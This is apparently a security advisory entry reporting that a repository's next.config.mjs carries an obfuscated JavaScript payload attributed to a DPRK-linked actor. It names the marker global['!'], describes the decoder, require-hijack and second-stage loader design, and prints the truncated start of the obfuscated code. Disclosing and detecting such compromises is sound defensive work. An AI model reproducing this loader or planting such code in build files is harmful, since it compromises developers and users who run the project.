GCVE-110-OSM-2024-366

Repository compromised by the PolinRider DPRK threat actor (Lazarus, Contagious Interview cluster). Obfuscated JavaScript payload appended to legitimate config file next.config.mjs, using marker global['!']. Consistent with known PolinRider architecture: string-array shuffle decoder, require() hijack via global assignment, and a second-stage loader fetched through the decoded payload. Malicious payload found in: next.config.mjs Marker: global['!'] Pattern: obfuscated JS payload appended after legitimate config file content. String-array shuffle decoder + global[] require hijack, consistent with PolinRider architecture. Snippet: global['!'] = '7-test';var _$_7af1=(function(j,a){var c=j.length;var w=[];for(var o=0;o< c;o++){w[o]= j.charAt(o)};for(var o=0;o< c;o++){var k=a* (o+ 376)+ (a% 20555);var f=a* (o+ 146)+ (a% 22526);var p=k% c;var l=f% c;var s=w[p];w[p]= w[l];w[l]= s;a